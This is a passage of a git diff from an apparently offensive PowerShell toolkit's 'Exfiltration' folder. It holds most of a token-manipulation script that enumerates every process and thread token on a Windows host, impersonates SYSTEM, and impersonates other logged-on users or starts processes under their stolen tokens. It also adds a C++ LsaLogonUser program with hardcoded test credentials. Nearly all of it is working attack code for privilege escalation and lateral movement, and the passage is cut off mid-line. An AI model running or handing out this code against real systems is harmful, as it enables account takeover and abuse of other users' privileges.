[System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_ELEVATION) + $TokenElevationPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenElevationSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenElevation, $TokenElevationPtr, $TokenElevationSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenElevation status. ErrorCode: $ErrorCode" + } + else + { + $TokenElevation = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenelevationPtr, [Type]$TOKEN_ELEVATION) + if ($TokenElevation.TokenIsElevated -ne 0) + { + $ReturnObj.IsElevated = $true + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenElevationPtr) + + + #Query the token type to determine if the token is a primary or impersonation token + $ReturnObj | Add-Member -Type NoteProperty -Name TokenType -Value "UnableToRetrieve" + + [UInt32]$TokenTypeSize = 4 + [IntPtr]$TokenTypePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenTypeSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenType, $TokenTypePtr, $TokenTypeSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenType = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenTypePtr, [Type][UInt32]) + switch($TokenType) + { + 1 {$ReturnObj.TokenType = "Primary"} + 2 {$ReturnObj.TokenType = "Impersonation"} + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenTypePtr) + + + #Query the impersonation level if the token is an Impersonation token + if ($ReturnObj.TokenType -ieq "Impersonation") + { + $ReturnObj | Add-Member -Type NoteProperty -Name ImpersonationLevel -Value "UnableToRetrieve" + + [UInt32]$ImpersonationLevelSize = 4 + [IntPtr]$ImpersonationLevelPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ImpersonationLevelSize) #sizeof uint32 + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenImpersonationLevel, $ImpersonationLevelPtr, $ImpersonationLevelSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve TokenImpersonationLevel status. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$ImpersonationLevel = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImpersonationLevelPtr, [Type][UInt32]) + switch ($ImpersonationLevel) + { + 0 { $ReturnObj.ImpersonationLevel = "SecurityAnonymous" } + 1 { $ReturnObj.ImpersonationLevel = "SecurityIdentification" } + 2 { $ReturnObj.ImpersonationLevel = "SecurityImpersonation" } + 3 { $ReturnObj.ImpersonationLevel = "SecurityDelegation" } + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ImpersonationLevelPtr) + } + + + #Query the token sessionid + $ReturnObj | Add-Member -Type NoteProperty -Name SessionID -Value "Unknown" + + [UInt32]$TokenSessionIdSize = 4 + [IntPtr]$TokenSessionIdPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenSessionIdSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenSessionId, $TokenSessionIdPtr, $TokenSessionIdSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + [UInt32]$TokenSessionId = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenSessionIdPtr, [Type][UInt32]) + $ReturnObj.SessionID = $TokenSessionId + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenSessionIdPtr) + + + #Query the token privileges + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesEnabled -Value @() + $ReturnObj | Add-Member -Type NoteProperty -Name PrivilegesAvailable -Value @() + + [UInt32]$TokenPrivilegesSize = 1000 + [IntPtr]$TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivilegesSize) + [UInt32]$RealSize = 0 + $Success = $GetTokenInformation.Invoke($hToken, $TOKEN_INFORMATION_CLASS::TokenPrivileges, $TokenPrivilegesPtr, $TokenPrivilegesSize, [Ref]$RealSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "GetTokenInformation failed to retrieve Token SessionId. ErrorCode: $ErrorCode" + } + else + { + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES) + + #Loop through each privilege + [IntPtr]$PrivilegesBasePtr = [IntPtr](Add-SignedIntAsUnsigned $TokenPrivilegesPtr ([System.Runtime.InteropServices.Marshal]::OffsetOf([Type]$TOKEN_PRIVILEGES, "Privileges"))) + $LuidAndAttributeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES) + for ($i = 0; $i -lt $TokenPrivileges.PrivilegeCount; $i++) + { + $LuidAndAttributePtr = [IntPtr](Add-SignedIntAsUnsigned $PrivilegesBasePtr ($LuidAndAttributeSize * $i)) + + $LuidAndAttribute = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributePtr, [Type]$LUID_AND_ATTRIBUTES) + + #Lookup privilege name + [UInt32]$PrivilegeNameSize = 60 + $PrivilegeNamePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PrivilegeNameSize) + $PLuid = $LuidAndAttributePtr #The Luid structure is the first object in the LuidAndAttributes structure, so a ptr to LuidAndAttributes also points to Luid + + $Success = $LookupPrivilegeNameW.Invoke([IntPtr]::Zero, $PLuid, $PrivilegeNamePtr, [Ref]$PrivilegeNameSize) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Call to LookupPrivilegeNameW failed. Error code: $ErrorCode. RealSize: $PrivilegeNameSize" + } + $PrivilegeName = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($PrivilegeNamePtr) + + #Get the privilege attributes + $PrivilegeStatus = "" + $Enabled = $false + + if ($LuidAndAttribute.Attributes -eq 0) + { + $Enabled = $false + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) -eq $Win32Constants.SE_PRIVILEGE_ENABLED_BY_DEFAULT) #enabled by default + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_ENABLED) -eq $Win32Constants.SE_PRIVILEGE_ENABLED) #enabled + { + $Enabled = $true + } + if (($LuidAndAttribute.Attributes -band $Win32Constants.SE_PRIVILEGE_REMOVED) -eq $Win32Constants.SE_PRIVILEGE_REMOVED) #SE_PRIVILEGE_REMOVED. This should never exist. Write a warning if it is found so I can investigate why/how it was found. + { + Write-Warning "Unexpected behavior: Found a token with SE_PRIVILEGE_REMOVED. Please report this as a bug. " + } + + if ($Enabled) + { + $ReturnObj.PrivilegesEnabled += ,$PrivilegeName + } + else + { + $ReturnObj.PrivilegesAvailable += ,$PrivilegeName + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($PrivilegeNamePtr) + } + } + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr) + + } + else + { + Write-Verbose "Call to LsaGetLogonSessionData succeeded. This SHOULD be SYSTEM since there is no data. $($LogonSessionData.UserName.Length)" + } + + #Free LogonSessionData + $ntstatus = $LsaFreeReturnBuffer.Invoke($LogonSessionDataPtr) + $LogonSessionDataPtr = [IntPtr]::Zero + if ($ntstatus -ne 0) + { + Write-Warning "Call to LsaFreeReturnBuffer failed. Error code: $ntstatus" + } + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr) + $LuidPtr = [IntPtr]::Zero + } + + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenStatsPtr) + $TokenStatsPtr = [IntPtr]::Zero + + return $ReturnObj + } + + + #Takes an array of TokenObjects built by the script and returns the unique ones + function Get-UniqueTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [Object[]] + $AllTokens + ) + + $TokenByUser = @{} + $TokenByEnabledPriv = @{} + $TokenByAvailablePriv = @{} + + #Filter tokens by user + foreach ($Token in $AllTokens) + { + $Key = $Token.Domain + "\" + $Token.Username + if (-not $TokenByUser.ContainsKey($Key)) + { + #Filter out network logons and junk Windows accounts. This filter eliminates accounts which won't have creds because + # they are network logons (type 3) or logons for which the creds don't matter like LOCOAL SERVICE, DWM, etc.. + if ($Token.LogonType -ne 3 -and + $Token.Username -inotmatch "^DWM-\d+$" -and + $Token.Username -inotmatch "^LOCAL\sSERVICE$") + { + $TokenByUser.Add($Key, $Token) + } + } + else + { + #If Tokens have equal elevation levels, compare their privileges. + if($Token.IsElevated -eq $TokenByUser[$Key].IsElevated) + { + if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if ($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs, + + [Parameter(Position=3)] + [Switch] + $PassThru + ) + Write-Verbose "Entering Create-ProcessWithToken" + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") + } + + $FunctionName = "" + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because + #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege + #which is not ideal. + Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." + Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege + $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessAsUserW" + } + else + { + Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessWithTokenW" + } + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + + #Pass created System.Diagnostics.Process object to pipeline + if ($PassThru) { + #Retrieving created System.Diagnostics.Process object + $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId + + #Caching process handle so we don't lose it when the process exits + $null = $returnProcess.Handle + + #Passing System.Diagnostics.Process object to pipeline + $returnProcess + } + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "$FunctionName failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. + #We need to enumrate all processes running as SYSTEM and find one that we can use. + [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object { + $OwnerInfo = $_.GetOwner() + + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $_ + } + } + } + + ForEach ($SystemToken in $SystemTokens) + { + $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue + if ($SystemTokenInfo) { break } + } + if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null + $SystemTokenInfo = $null + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + #If running in session 0, force NoUI + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" + $NoUI = $true + } + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru + + Invoke-RevertToSelf + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + Invoke-RevertToSelf + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln new file mode 100644 index 00000000..890e8335 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp new file mode 100644 index 00000000..f5b39fdf --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp @@ -0,0 +1,137 @@ +// LogonUser.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size); +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset); + +int _tmain(int argc, _TCHAR* argv[]) +{ + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl; + return -1; + } + if (hLSA == NULL) + { + cout << "hLSA is NULL, this shouldn't ever happen" << endl; + return -1; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = "qpqp"; + originName.Buffer = originNameStr; + originName.Length = (USHORT)strlen(originNameStr); + originName.MaximumLength = originName.Length; + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + char authPackageBuf[] = MSV1_0_PACKAGE_NAME; + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError; + return -1; + } + + DWORD authBufferSize = 0; + PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize); + cout << "authBufferSize: " << authBufferSize << endl; + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl; + return -1; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + cout << "Call to GetTokenInformation failed." << endl; + return -1; + } + + + //Misc + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + status = LsaLogonUser(hLSA, + &originName, + RemoteInteractive, + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + cout << "Error calling LsaLogonUser. Error code: " << winError << endl; + return -1; + } + + cout << "Success!" << endl; + + return 1; +} + +//size will be set to the size of the structure created +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset); + offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset); + offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset) +{ + const wchar_t* buffer = str.c_str(); + size_t size = str.length() * sizeof(wchar_t); + uniStr->Length 